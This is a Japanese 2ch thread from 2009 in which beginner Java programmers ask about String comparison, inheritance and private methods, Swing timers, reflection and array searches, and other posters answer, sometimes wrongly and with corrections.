全角空白使え

889 :デフォルトの名無しさん:2009/05/11(月) 12:29:32
DOS窓とフレームにそれぞれHello worldを表示させるプログラムが課題で出たんで面倒だから1つのクラスで作った
採点になって1つのクラスで作ったことで減点もらったんだけど、先生曰く「そこは別々のクラスで作ってほしい」と言っていた。
1つのクラスにまとめて作るのって何か問題あるのか?

890 :デフォルトの名無しさん:2009/05/11(月) 12:43:24
折角、オブジェクト指向のJavaなのに、1つのクラスで作ってこられると、教える側としてはガッカリだなぁ
それじゃJavaじゃなくてもいいじゃん・・・みたいな。

間違いじゃないけど、後々で困ることに。

というか、先生がいるなら、直接聞いたほうが早い。
しっかり質問すれば、向こうも答えてくれるよ。
なんで、別々で作るんですか?って。

891 :デフォルトの名無しさん:2009/05/11(月) 12:47:17
一つのクラスの中でってことは main() の中で両方実装した訳か。そりゃ手抜きに見えるわな。

892 :デフォルトの名無しさん:2009/05/11(月) 13:36:06
java1.5〜1.6で正規表現のしようって変更になりましたか?
1.5で動いていたものが動かなくなったらしく…

1.6のjavadocで「導入されたバージョン: 1.5」とかあるので、
これの1.6がなければ1.6での変更がないって考えていいものでしょうか?

対象クラスの変更があったかを確認するもっと簡単はあるでしょうか?


893 :デフォルトの名無しさん:2009/05/11(月) 21:16:01
スレ開いたらavastのうるさいサイレン聞く羽目になったんだが何で?

894 :デフォルトの名無しさん:2009/05/11(月) 22:15:56
質問です。

コンソールアプリで画面遷移のあるプログラムを作っています。

========
=   TEST  =
========
1・・・
2・・・
3・・・

15・・・
16・・・

というような感じで、数字を入力する事によって画面遷移するプログラムです。
この出力をprintlnを使ってやっていたのですが、printlnを使うよりStringBufferを
使ったほうがいい(スマート)といわれたのですが、いまいちよくわかりません(メリット、使い方)。

分かる方よろしくお願いします。



895 :デフォルトの名無しさん:2009/05/11(月) 22:41:04
>>892
http://java.sun.com/javase/ja/6/webnotes/compatibility.html


896 :デフォルトの名無しさん:2009/05/11(月) 22:41:29
>>894
StringBufferを使えば、遷移で変化する部分だけ、insertメソッドや
deleteメソッドなどでStringオブジェクトを変更して、それを一回の
printlnメソッド(またはprintメソッド)で出力した方がいいって
ことじゃないかと思います。
ちがうかな。

897 :デフォルトの名無しさん:2009/05/11(月) 22:44:52
バッファに一度ため込んでフラッシュした方がいいって意味だろうけど。
コンソール制御のできないjavaだとあまり意味ないような。

898 :デフォルトの名無しさん:2009/05/11(月) 22:51:12
>>894
全部 StringBuffer に append して一度の println で出力するということ?
愚直に println 並べるよりはスマート(利口)に見える気はするが、
積極的に推すほどのものでもないんじゃなかろうか。

そもそも StringBuilder がある時代に(ry


899 :デフォルトの名無しさん:2009/05/11(月) 23:33:11
>>871
>>873
お返事が遅くなりすみません、レスありがとうございます。
小物アプリで練習ということでMySQLを使用して動かしています。
とりあえず例外を常時意識するという観点で、個別にtry - catchを行うように書いています。
DB2の実装によって挙動が異なるということですが、その辺りの情報は別途収集しようと思います。
ありがとうございました。

900 :デフォルトの名無しさん:2009/05/11(月) 23:49:36
name[]配列に、大勢の名前のデータが入力されています。
手で入力した名前を検索し、表示させたいと思っています。

for(int i=0;i<name.length;i++){
if(name[i].equals(kensaku)) System.out.println(name[i]);

name配列を一通り検索し、該当する名前が無い場合にその旨を表示させるにはどうしたらいいでしょうか?

901 :デフォルトの名無しさん:2009/05/11(月) 23:55:14
>>900
boolean flag = true;
for(int i=0;i<name.length;i++){
if(name[i].equals(kensaku)){
 System.out.println(name[i]);
 flag = false;
}
if(flag) System.out.println("No name matched.");

とか?
ただ、該当するたびにflagに代入が入るので、あまり
うまいやり方ではないかも。

902 :デフォルトの名無しさん:2009/05/11(月) 23:58:25
そこは false から true にする派だなぁ

903 :デフォルトの名無しさん:2009/05/11(月) 23:59:07
>>901
なるほど。参考になりました。

904 :デフォルトの名無しさん:2009/05/12(火) 00:05:48
if (Arrays.asList(name).contains(kensaku)) {
  // hoge
}

これじゃ動かん?コンパイルしてないからわからんけど。

905 :デフォルトの名無しさん:2009/05/12(火) 00:23:19
>>904
なんかいけそうな気がする。
Arraysクラスって使ったことないんだけど、ちょっと見てみたら
staticメソッドしかないんだね。
flag使うか、オブジェクト介してcontainsメソッドで探させるか
って感じだね。


906 :デフォルトの名無しさん:2009/05/12(火) 00:27:09
String str = "No name matched.";
for( int i=0; i<name.length; i++ ){
 if( name[i].equals( kensaku ) ) { str = kensaku; }
}
System.out.println(str);

ふつうは >>901 みたく flag とか state とか使うけど。
あるかないかだけ分かればいいなら >>904 みたいに手を抜くw

907 :デフォルトの名無しさん:2009/05/12(火) 00:40:31
for (int i = 0; i < name.length; i++) {

↑の書き方だと、ループのたびに毎回配列の長さを参照しにいく
配列がクソ大きくなるとlengthでサイズを引っ張るのにも
コストを要するようになるから、あらかじめサイズは外に出しておいた方がいい

908 :デフォルトの名無しさん:2009/05/12(火) 00:43:15
>>902
でもってさ、フラグを使うなら名前も found とかにするよな。
初期 found = false
見付かったら found = true



909 :901:2009/05/12(火) 00:46:04
>>904の方法が気になって、実際に組んで動作確認してみた。
Arraysクラスの勉強になった。おれもまだまだだなw

import java.io.*;
import java.util.*;

public class Test {
public static void main(String kensaku[]) {
String[] name = {"abc", "def", "ghi"};
if (Arrays.asList(name).contains(kensaku[0])) {
System.out.println("Matched.");
} else {
System.out.println("No name matched.");
}
}
}

<実行結果>
$ javac Test.java
$ java Test abc
Matched.
$ java Test def
Matched.
$ java Test ghi
Matched.
$ java Test a
No matched.
$

910 :901:2009/05/12(火) 00:48:31
>>902
>>908
センスなくてサーセンw
なんとなくif(!found)みたいにしたくなかったw

911 :デフォルトの名無しさん:2009/05/12(火) 00:51:39
>>901
てけとーAPLでも例外チェックだけは怠らない方がいいと思われ
わかって書いてるなら失礼しました

912 :デフォルトの名無しさん:2009/05/12(火) 00:57:09
>>907
おまえさ、name.length が strlen(str) みたいに毎回配列の長さカウントしてると思ってる?

913 :901:2009/05/12(火) 00:58:20
>>911
一部分だったんでてけとーに書きましたw

今気づいたが、>>909の実行結果、正しくはNo matched.→No name matched.だなw
No matched.で動作テストしたあと、ソースのメッセージ変えるからこういうことになったorz

914 :デフォルトの名無しさん:2009/05/12(火) 01:09:47
>>912
ループの終了条件でオブジェクトのメソッドやフィールドを使うと、
毎回ヒープ領域への参照が発生するのでは?
使用領域がどれだけあるかが不明な以上、4バイト符号付整数を固定で持った方がいいと思うんだが。

申し訳ないが、今実際に計測してみたわけじゃない、
おかしなこと言っていたら失礼

915 :デフォルトの名無しさん:2009/05/12(火) 01:14:54
メソッド1で定義した配列をメソッド2で使いたいのだけれど
配列って引数にできますかね。

916 :デフォルトの名無しさん:2009/05/12(火) 01:17:04
public void foo() {
  String[] array;
  bar(array);
}

public void bar(String[] arg) {
  // something
}

917 :デフォルトの名無しさん:2009/05/12(火) 01:26:08
>>916早いお返事ありがとうございます。
解決しました。


918 :デフォルトの名無しさん:2009/05/12(火) 01:31:01
>>914
DOS 時代のお馬鹿 C コンパイラ+i486 でもそんなのが実測に現れた事はない。

919 :デフォルトの名無しさん:2009/05/12(火) 03:58:23
もしそこがボトルネックになってるなら徐々に最適化されそうだけど

920 :デフォルトの名無しさん:2009/05/12(火) 10:49:07
↓↓のようなソースがあってdog.speak(int cnt)を呼び出した場合に
"ワン"x4ではなく"ギャアーッ"を4回表示する方法があると言われたのですが
どうしても分かりません。
Dogクラスでspeak(int cnt)をオーバーライドせずに
上記動作をさせるにはどうしたらいいのか分かる方いたらお願いいたします。

// Animal
class Animal{
  public void speak() {
    System.out.println("ギャアーッ");
  }

  public void speak( int cnt ) {
    for(int i=0; i < cnt; i++ )
      speak();
  }
}

// Dogクラス
class Dog extends Animal {
  public void speak() {
    System.out.println("ワン");
  }
}

// メイン
class Test {
  public static void main( String[] args ) {
    Dog dog = new Dog();
    dog.speak(4);
  }
}

921 :デフォルトの名無しさん:2009/05/12(火) 11:27:40
Animal dog = new Animal();
dog.speak(4);

922 :デフォルトの名無しさん:2009/05/12(火) 11:47:40
>>921 解説はまかせた
class Animal{
// public void speak() {
private void speak() {
System.out.println("ギャアーッ");
}

923 :デフォルトの名無しさん:2009/05/12(火) 11:51:49
>>922
つまりプライベートな秘所に突っ込んだらアッー!

924 :922:2009/05/12(火) 12:03:58
>>923 マナーとして、このほうが正か。
// public void speak() {
protected void speak() {
System.out.println("ギャアーッ");
}

925 :デフォルトの名無しさん:2009/05/12(火) 12:29:25
>>921
えーと…たぶんdogインスタンスから呼んで表示させられる、ってことだと思います。

>>922
おあ。出来ました!どなたか解説をorz
出来れば>>923より多少詳しいとありがたいです。

ただ>>924さんのprotectedだとワンが表示されて出来ませんでした。

926 :922:2009/05/12(火) 12:47:14
private(秘所)なメソッドはextend(継承)されないって事だろう。
コンパイルは出来るのにそんな機能がある理由は知らん。犬も飼いならすとこう吠える。
Dog dog = new Dog();
dog.speak(4);
dog.speak();


927 :デフォルトの名無しさん:2009/05/12(火) 12:53:28
920〜924
思わずやってみました
勉強になりましたねえ。

928 :608:2009/05/12(火) 13:18:17
>>610
亀レスで申し訳ない。アドバイスありがとう。

GW中のネット環境無し&ブラックな現場から、今帰還。。。

929 :長文すみません:2009/05/12(火) 16:06:54
/*
* To change this template, choose Tools | Templates
* and open the template in the editor.
*/
/*
* ListToday.java
*
* Created on 2009/04/07, 16:33:42
*/
package cutsystemsmple;
import java.awt.Color;
import java.util.Date;
/**
*
* @author 07
*/
public class ListToday extends javax.swing.JFrame {
/** Creates new form ListToday */
public ListToday() {
initComponents();
getContentPane().setBackground(Color.white);
jLabel4.setText(new Date().toString());
}
/** This method is called from within the constructor to
* initialize the form.
* WARNING: Do NOT modify this code
* . The content of this method is
* always regenerated by the Form Editor.
*/
@SuppressWarnings("unchecked")

930 :長文すみません:2009/05/12(火) 16:11:49
private void jButton1ActionPerformed(java.awt.event.ActionEvent evt) {
new JokenKensaku().setVisible(true);
if(evt.getSource()==jButton1){this.setVisible(false);}
}
private void jButton3ActionPerformed(java.awt.event.ActionEvent evt) {
new MainMenu().setVisible(true);
if(evt.getSource()==jButton3){this.setVisible(false);}
}
private void jMenuItem2ActionPerformed(java.awt.event.ActionEvent evt) {
new MainMenu().setVisible(true);
if(evt.getSource()==jMenuItem2){this.setVisible(false);}
}
private void jMenuItem1ActionPerformed(java.awt.event.ActionEvent evt) {
new Keikoku().setVisible(true);
}
/**
* @param args the command line arguments
*/
public static void main(String args[]) {
java.awt.EventQueue.invokeLater(new Runnable() {
public void run() {
new ListToday().setVisible(true);
}
});
}

931 :長文すみません:2009/05/12(火) 16:13:06
// Variables declaration - do not modify
private javax.swing.JButton jButton1;
private javax.swing.JButton jButton3;
private javax.swing.JComboBox jComboBox1;
private javax.swing.JLabel jLabel1;
private javax.swing.JLabel jLabel2;
private javax.swing.JLabel jLabel3;
private javax.swing.JLabel jLabel4;
private javax.swing.JMenu jMenu1;
private javax.swing.JMenu jMenu2;
private javax.swing.JMenuBar jMenuBar1;
private javax.swing.JMenuItem jMenuItem1;
private javax.swing.JMenuItem jMenuItem2;
private javax.swing.JPanel jPanel1;
private javax.swing.JScrollPane jScrollPane2;
private javax.swing.JTable jTable1;
// End of variables declaration
}
上記の中のjLabel4.setText(new Date().toString());に入る時刻を1秒間隔で更新したいのですが
どうしたらいいのか分からないんです。自分でも調べてみたのですがさっぱり分からなくて。。
他の質問板で質問したのですがググれカスで終わってしまって、、
よろしければお知恵をお貸しください。

932 :デフォルトの名無しさん:2009/05/12(火) 17:04:42
char[] pass=new char[10];
pass=jPasswordField1.getPassword();
String Moji="";
Moji=pass[0]+pass[1];

Eclipse使用。jLabel1とjPasswordField1を作り、jPasswordField1に「Javaですよ」と入力してボタンを押すと
jLabel1に「そうですね」、それ以外の場合は「Javaちゃうの?」というメッセージを表示させたいのですが、うまく作れません。
↑のはこんな感じかな?と思って作っただけですが、「pass[0]+pass[1]」の部分に「intからStringには変換出来ない」というエラーが表示されます。
よかったら上手く動作する作り方を教えてください。

933 :デフォルトの名無しさん:2009/05/12(火) 17:18:40
N 個のオブジェクトのうちどれかから notify() が来るのを待ちたい & notify() した
オブジェクトを取得したいんですが (Windows の WaitForMultipleObject() のイメージ)
良い方法はありませんか? N 個のスレッド立ててそれぞれ監視させるのは無駄ですよね…

934 :長文すみません:2009/05/12(火) 17:18:54
>>931
追記
netbeansを使用してます。

935 :デフォルトの名無しさん:2009/05/12(火) 18:09:06
char[]って 1文字 の配列って意味ってわかってる? C言語がわかってやってるんかな?
なんでたぶんやりたいことは Char[] → String
それにpass[1]の部分が、なにをやりたくてこうしたかがわからない。
pass[1]ってどこにも現れてないのにいきなり出てくるし。

936 :デフォルトの名無しさん:2009/05/12(火) 18:12:29
>>931
要するに時計みたいな表示がしたいって事?

937 :長文すみません:2009/05/12(火) 18:14:40
>>936
そうです。

938 :デフォルトの名無しさん:2009/05/12(火) 18:39:49
String に == は使うなってどういう意味?

939 :デフォルトの名無しさん:2009/05/12(火) 18:44:45
>>937
Timerを使うと良いと思う。javax.swing.Timer

java Swing timer でググればいっぱい出てきた。


940 :長文すみません:2009/05/12(火) 18:46:30
>>939
timerを調べてたんですが、このプログラムにどう組み込むのか分からなくて・・

941 :デフォルトの名無しさん:2009/05/12(火) 18:47:10
>>938
文字列どうしは==では比較できないから、equalsつかえって事。

942 :デフォルトの名無しさん:2009/05/12(火) 19:20:45
>>941
できるんですけども・・・

943 :デフォルトの名無しさん:2009/05/12(火) 19:31:16
>>942
実際やってみた?
system.out.println("あ"=="あ");
でtrueって出ます!とかじゃだめだよ?



944 :920:2009/05/12(火) 19:39:42
>>926
ありがとうございます。
調べたらそういう仕様が出てきました。

Dog.speak()はオーバーライドではなく、まったく別なメソッドになるってことなんですね。


ただこれだとどうやらgetSuperclass()を使う方法みたいです。
invokeとか使うのかな?
かなりの力技になる気がしますが、、。

他にこんな方法で出来るよ!っていうのありますか?あったら教えて頂きたいです。

945 :デフォルトの名無しさん:2009/05/12(火) 19:40:40
>>940
細かい解説は面倒なんで要点だけ

Timerには、Timer( 繰り返す秒数, ActionListenerをインプリメントしたクラス)

っていうコンストラクタがあるから、
ActionListenerをインプリメントした、JLabelでも自作する。

class MyLabel extends JLabel implements ActionListener {
public void actionPerformed(ActionEvent e) {
  this.setText( new Date().toString() );
 }
}
こんな感じかな。
これをmainで呼んでやればいい
Timer tm = new Timer( 1000, MyLabelのインスタンス);
tm.start();

start()をしないと動き始めないので注意。


946 :デフォルトの名無しさん:2009/05/12(火) 19:42:59

×これだとどうやら
○どうやら

947 :デフォルトの名無しさん:2009/05/12(火) 19:49:16
addWindowListener(new WindowAdapter() {
public void windowClosing(WindowEvent e) {
System.exit(0); } });
↑ついにAWTというのに進出しました。
これは無名内部クラスというらしいのですけど、
newでインスタンス生成があって、その後ろに{ }がついていると、
無名内部クラスということでいいのでしょうか。

948 :デフォルトの名無しさん:2009/05/12(火) 19:49:21
>>943
どうだったらいいのか教えて下さい

class Test{
public static void main(String[] args){
String a = "あ";
String b = "あ";
System.out.println(a==b);
}
}

実行結果

true

949 :デフォルトの名無しさん:2009/05/12(火) 19:56:24
まぁいいじゃん。

後で痛い目を合えばいいんじゃないの?

その1行のために何時間もにらめっこする羽目になるだけなんだしw

950 :デフォルトの名無しさん:2009/05/12(火) 19:58:07
>>949
教えてくださいよ

もしかしてわからないんですか?

951 :デフォルトの名無しさん:2009/05/12(火) 20:11:28
>>938
==はアドレス情報が同じかどうかを比較
equalsは内容の比較

String a = "aaa";
String b = "aaa";
の場合はa==bは同じアドレス情報を共用してるからtrueだけど

String a = new String("aaa");
String b = new String("aaa");
の場合はa==bはアドレス情報が違うからfalseになってしまう
でもequalsの場合は両方ともtrueになる

ついでにググればすぐわかるよ

952 :デフォルトの名無しさん:2009/05/12(火) 20:21:54
>>951
親切にありがとございます
String a = "aaa";
String b = "aaa";

aとbは同じ参照元になるんですか・・・

953 :デフォルトの名無しさん:2009/05/12(火) 20:24:37
よく読め、そうなると書いてあるだろ。

954 :デフォルトの名無しさん:2009/05/12(火) 22:08:34
>952
"aaa"みたいに文字リテラル定義のStringは正準表現になる。
String#intern()された状態ってことだな。

だからアドレスは違っても==で比較できる

new String("aaa")で作られたStringってのは正準表現になってないから==だとfalseになる。

955 :954:2009/05/12(火) 22:13:57
ごめん。正準表現勘違いしてた。

internするとアドレスも同じになるんだね。

956 :デフォルトの名無しさん:2009/05/12(火) 22:52:41
おまえら優しいな。
==は等値性、equalsは同一性をみる。

957 :デフォルトの名無しさん:2009/05/12(火) 22:56:06
まぁ、どの本でも、最初のほうに書いてあるんだが・・・==とequalsの違いは。

958 :デフォルトの名無しさん:2009/05/12(火) 23:01:52
class A {
public void funcA() {
System.out.println("class A -> funcA");
}
}

class subA extends A {
public void funcA() {
System.out.println("class sub A -> funcA");
}
}

public class Test {
public static void main(String[] args) {
subA obj = new subA();
obj.getClass().getSuperclass().newInstance().funcA();
}
}

で、class A -> funcAって表示させたいんだけど、それ以前にコンパイルエラーになる。

Test.java:19: シンボルを見つけられません。
シンボル: メソッド funcA()
場所 : java.lang.Object の クラス
obj.getClass().getSuperclass().newInstance().funcA();
^
エラー 1 個

わかる方、ご指導くださいm(_ _)m

959 :デフォルトの名無しさん:2009/05/12(火) 23:05:14
Stringのequalsがオーバーライドされてるだけ
本来は両方アドレス比較で同じ
なお、equalsをオーバーライドしたらhashcodeメソッドもオーバーライドする

960 :デフォルトの名無しさん:2009/05/12(火) 23:16:54
あと、コード上に書いたストリングは同じのは再利用されるから、アドレスは同じ

961 :デフォルトの名無しさん:2009/05/12(火) 23:26:27
String a = "aaa";
String b = "aaa";

のaとb同じアドレス。中身が同じだから。

962 :デフォルトの名無しさん:2009/05/12(火) 23:35:57
つttp://www.javaroad.jp/java_character2.htm

963 :デフォルトの名無しさん:2009/05/12(火) 23:36:54
>>958
キャストしたら動くんじゃないの?

964 :デフォルトの名無しさん:2009/05/12(火) 23:38:48
それじゃ、intern()ばっかりしたらどうなるの?

965 :デフォルトの名無しさん:2009/05/12(火) 23:53:41
要するにStringの比較でstr1.equals(str2)がtrueの場合はstr1 == str2もtrueが返るということですよね

966 :デフォルトの名無しさん:2009/05/12(火) 23:54:31
>>963
import java.lang.*;

class A {
public void funcA() {
System.out.println("class A -> funcA");
}
}

class subA extends A {
public void funcA() {
System.out.println("class sub A -> funcA");
}
}

public class Test {
public static void main(String[] args) throws InstantiationException, IllegalAccessException{
subA obj = new subA();
((A)(obj.getClass().getSuperclass().newInstance())).funcA();
}
}

って感じで、ものすごくアホくさいソースになったが、キャストしたらできました。
どうもありがとうございますm(_ _)m
キャストする時点で、Superclassの名前わかってんだから、最初からnew A()しろ
っていうツッコミどうぞいらっしゃい的なソースですねw
例外も2つも受けとかないといけないし。(めんどくさいんでthrowsにしたw)
結論:newInstance()使えねーw

967 :デフォルトの名無しさん:2009/05/12(火) 23:54:53
>>965


968 :デフォルトの名無しさん:2009/05/13(水) 00:02:48
>>967
逆というのは、

!str1.equals(str2)がfalseの場合はstr1 != str2もfalseが返る

ということでしょうか?

969 :デフォルトの名無しさん:2009/05/13(水) 00:07:42
>>966
ジェネリクスのプレースホルダ使うと楽しいかも
まだ勉強中の初心者ですまそ

970 :デフォルトの名無しさん:2009/05/13(水) 00:08:02
>>968
それ逆になってないぞ

971 :デフォルトの名無しさん:2009/05/13(水) 00:09:58
>>969
じぇねりくすのぷれーすほるだ。。。
一体それが何なのか想像もつきません。
勉強します。頑張りますorz

972 :デフォルトの名無しさん:2009/05/13(水) 00:12:52
あと、名前でクラスを呼ぶのも出来るはず

973 :デフォルトの名無しさん:2009/05/13(水) 00:19:34
>>972
ジェネリクスについて少し調べてみて、ほんの少しわかった「気」がする。
つまり、自分でキャストする代わりにコンパイラにやってもらっちゃって、
楽する&実行時例外を未然に防ぐ的な感じ?

>名前でクラスを呼ぶのも出来るはず
クラスを呼ぶ?。。。
わからーんことが多すぎるw



974 :デフォルトの名無しさん:2009/05/13(水) 00:29:09
>>959
>本来は両方アドレス比較で同じ
ばーか

975 :デフォルトの名無しさん:2009/05/13(水) 00:34:41
ん?
>>959は正しいこと書いてるように見えるけど?

976 :デフォルトの名無しさん:2009/05/13(水) 00:37:34
>>959
そもそも、おれには何でStringのequalsメソッドがオーバーライド
されることになるのかわからない。。。
誰かおせーて

977 :デフォルトの名無しさん:2009/05/13(水) 00:42:47
>>974
説明してみろよばーか

978 :920:2009/05/13(水) 00:50:55
>>972
これ俺ももうちょいkwsk知りたいです。
ジェネリックのプレースホルダーも調べてみます。

979 :デフォルトの名無しさん:2009/05/13(水) 00:54:41
Javaの基本仕様は日経のSJC-P認定ガイドに全部書いてある


980 :デフォルトの名無しさん:2009/05/13(水) 00:58:54
>>968
ソース:
public class EqTest {
    public static void main(String[] args) {
        String a = new String("test");
        String b = new String("test");
        System.out.println("a.equals(b): " + a.equals(b));
        System.out.println("a == b: " + (a == b));
    }
}
実行結果:
a.equals(b): true
a == b: false

981 :デフォルトの名無しさん:2009/05/13(水) 01:06:59
>>962のページにもあるけど、

String a = new String("test");
String b = new String("test");

って書くと、中身は同じで入れ物が違うStringオブジェクトが実行時に生成されるから、
a.equals(b): true
a == b: false
になる。一方、

String a = "test";
String b = "test";

って書くと、コンパイル時にバイトコードの中に"test"という文字列が一つ用意されて、
String aとString bでコード上の同じの場所の文字列を参照するから、
a.equals(b): true
a == b: true
になる、でおk?


982 :デフォルトの名無しさん:2009/05/13(水) 01:14:17
構ってチャンの相手なんかするな
おまえは所詮カスだな

983 :デフォルトの名無しさん:2009/05/13(水) 01:16:01
。。。

984 :デフォルトの名無しさん:2009/05/13(水) 01:36:03
とりあえず『やさしいJava 活用編(第2版)』を一通りやったのですが、
テキストの問題を解くだけでは勉強にならないと思い、Javaの演習問題を
集めたサイトを探しているのですが、なかなか良いサイトが見つかりません。

どなたかJavaの演習にちょうど良いサイトがありましたら教えていただけませんでしょうか?

985 :デフォルトの名無しさん:2009/05/13(水) 01:50:49
>>978
名前でクラス呼ぶのはクラスローダで調査。
外部プラグインの機構を作りたいときには必須。

>>984
一冊片付けたのなら、とりあえずゲームアプリでも自作してみたら?15パズルとか。
実際に何か作ってみると、わからない事だらけで、それを調べていくことが勉強になる。

986 :デフォルトの名無しさん:2009/05/13(水) 01:55:20
1 import com.sun.org.apache.xerces.internal.impl.dv.util.Base64;
2 import sun.misc.BASE64Decoder;
3 import sun.misc.BASE64Encoder;
4 import com.sun.org.apache.xml.internal.security.utils.Base64;
5 import com.sun.xml.internal.messaging.saaj.util.Base64;
6 import com.sun.xml.internal.messaging.saaj.packaging.mime.util.BASE64EncoderStream;
7 import com.sun.mail.util.BASE64EncoderStream;
8 import org.apache.commons.codec.binary.Base64;

どれ使えばいいのん・・・
大したコードじゃないから自前で書いたほうが良いのか・・・?

987 :デフォルトの名無しさん:2009/05/13(水) 02:10:40
結局書いたので取り下げます

988 :デフォルトの名無しさん:2009/05/13(水) 02:41:17
糞面倒くさい次スレ

989 :デフォルトの名無しさん:2009/05/13(水) 03:25:03
仕方ない。立ててやる。

990 :デフォルトの名無しさん:2009/05/13(水) 03:27:22
【初心者】Java質問・相談スレッド126【歓迎】
http://pc12.2ch.net/test/read.cgi/tech/1242152793/

タッタデー

991 :デフォルトの名無しさん:2009/05/13(水) 08:20:27
NIOのByteBuffer.allocateDirectを使う時は
メモリの開放はどうすればいいのでしょうか?

992 :デフォルトの名無しさん:2009/05/13(水) 08:58:45
>>991
ユーザ側で勝手には解放できない。
ByteBuffer#slice()、ByteBuffer#duplicate() でメモリ共有したバッファが壊れる

993 :デフォルトの名無しさん:2009/05/13(水) 15:49:15
すみません、ここでいいのか、わからないんですけど
他のスレでは解決しなかったので、教えて下さい。

現在ウイルスバスター2009を利用しております。
このバスターを終了せずに
ttp://www.fxonline.co.jp/market/rates.html
の、例えばUSD/JPYをクリックするとjavaが起動するのですが
チャートが正しく表示されず、エラー-1 GetData Error while reading Data
と表示されます。

どうしたらバスターを終了させず、正しく表示させることができるのでしょうか?

994 :デフォルトの名無しさん:2009/05/13(水) 15:54:46
全くこのスレと関係ないです
お引取りください

995 :デフォルトの名無しさん:2009/05/13(水) 15:59:08
1000になったら・・・俺次スレで質問するんだ!!

996 :993:2009/05/13(水) 16:05:06
>>994
そうですか、すみませんでした。
javaの設定を変えれば、どうにかなると思っていました。

997 :デフォルトの名無しさん:2009/05/13(水) 16:09:29
設定の話をするスレでもない
板名見えてるか

998 :デフォルトの名無しさん:2009/05/13(水) 16:12:16
>>996
【初心者】Java質問・相談スレッド125【歓迎】
プログラムの話な

999 :デフォルトの名無しさん:2009/05/13(水) 16:42:26
>>993
「javaが起動する」ってのが、いまいち判らん。
VMが?

1000 :デフォルトの名無しさん:2009/05/13(水) 16:50:14
1000なら俺がBeans!

1001 :1001:Over 1000 Thread
このスレッドは1000を超えました。
もう書けないので、新しいスレッドを立ててくださいです。。。

290 KB
★スマホ版★ 掲示板に戻る 全部 前100 次100 最新50

read.cgi ver 05.04.00 2017/10/04 Walang Kapalit ★
FOX ★ DSO(Dynamic Shared Object)